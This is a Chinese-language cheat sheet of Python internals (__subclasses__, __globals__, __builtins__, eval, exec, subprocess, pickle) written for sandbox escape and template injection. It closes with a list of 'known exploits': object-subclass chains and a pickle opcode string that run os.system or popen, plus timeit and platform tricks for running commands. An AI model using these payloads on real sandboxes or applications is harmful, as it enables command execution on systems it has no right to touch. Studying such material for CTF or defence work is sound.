python中常用函数、模块

__getattribute__

被调用无条件地实现类的实例的属性访问。
object.getattribute(self, name)
1)self 必需的。类的实例,在调用时自动传递。
2)name 必需的。属性的名称。

__dict__

存放类的函数、属性

dir()

显示对象的属性的名称
dir([object])

__base__

每个类都有一个__base__属性能列出基类

__mro__

递归显示父类直到object

__subclasses__()[]

获得子类

__import__

载入模块
__import__('name')

os

该模块提供了一些方便使用操作系统相关功能的函数

subprocess

subprocess.run()

Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例

subprocess.getoutput()

接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen().read()和commands.getoutput()

subprocess.getstatusoutput()

执行命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()

__builtin__

Python的内建模块,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀
在Python2.X版本中,内建模块被命名为__builtin__,而到了Python3.X版本中,却更名为builtins

__builtins__

是对内建模块的一个引用
这个和__builtin__有一些区别
1)无论任何地方要想使用内建模块,都必须在该位置所处的作用域中导入__builtin__内建模块;而对于__builtins__却不用导入,它在任何模块都直接可见,可以把它当作内建模块直接使用
2)__builtins__虽是对内建模块的引用,但这个引用要看是使用__builtins__的模块是哪个模块
在主模块__main__中:
__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此
在__main__模块中:
__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身。它在任何地方都可见。此时__builtins__的类型是字典

eval()

eval(expression):
返回python 表达式执行的结果

exec()

exec(source)
动态执行python代码。也就是说exec可以执行复杂的python代码,而不像eval函数那样只能计算一个表达式的值。exec函数的返回值永远为None

reload

重新加载之前导入的模块

getattr

返回对象的命名属性的值
getattr(object,name)
name必须是一个字符串

__name__

__name__是python的一个内置类属性,它存储模块的名称。
python的模块既可以被调用,也可以独立运行。而被调用时__name__存储的是py文件名(模块名称),独立运行时存储的是"main"。

func_code

返回表示已编译函数体的代码对象
function.func_code

timeit 模块

这个模块是用来测试代码的执行时间的,能执行代码自然能执行命令
timeit(命令,number=1)
>>> import timeit
>>> timeit.timeit("__import__('os').system('dir')",number=1)

platform 模块

里面的函数主要是为了返回和平台的一些信息,但是我们还是可以调用
popen 这个函数执行命令
print platform.popen('命令',mode='r',bufsize= -1).read()

__globals__

返回当前位置的全局变量

__call__

使实例能够像函数一样被调用

pickle

这个是python的一个序列化的方法,用于将对象存储在字符串对象中,实现对象的持久化
import pickle
test=('this is a test',3.14,[1,2,3,"hh"])
p=pickle.dumps(test)
反序列化:

n=pickle.loads(p)
我们可以通过 pickle 的方式加载命令

pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")

importlib模块

import importlib
importlib.import_module(module)
他可以代替import

一些已知利用

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')

"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[40](filename).read()

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['sys'].modules['os'].popen('ls').read()